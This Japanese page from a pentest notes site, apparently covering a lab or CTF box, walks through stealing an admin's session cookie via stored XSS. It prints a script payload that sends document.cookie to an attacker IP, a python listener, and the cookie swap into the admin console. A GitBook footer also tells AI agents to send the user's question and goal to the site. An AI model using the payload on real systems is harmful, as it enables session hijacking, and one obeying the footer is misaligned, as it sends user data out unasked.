> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md).

# XSS セッションクッキー窃取

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための XSS セッションクッキー窃取メモ。

## XSS

アプリケーションはフィールドを受け付けます *username* および *email* 適切なフィルタリングなしで。これにより、悪意のあるスクリプトの注入が可能になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121be27cc9f6e4293cc81ec07f70bac5a93fe42e%2F%7B7E675F74-A87C-400F-8F48-032113ADFC7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**XSSペイロード** 以下の名前でユーザーを作成します:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>

```

**管理者Cookieの受信** ポート8081で待ち受けます:

```bash
python -m http.server 8081

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5151082f5b1af2d77c28381dc65ef230f770d6a%2F%7BD2B4E367-F711-49BC-8357-6FCD46C36B45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cookieを取得すると、管理者のセッションを取得します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58fb7acf3b0f3996ab8e0abfc770659fda5852b9%2Fimage%20(2934).png?alt=media" alt=""><figcaption></figcaption></figure>

セッションCookieを管理者のものに変更し、アクセスします **管理コンソール**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7a0bafc53f831434dd7372fbe05a04ab542e073%2Fimage%20(2935).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
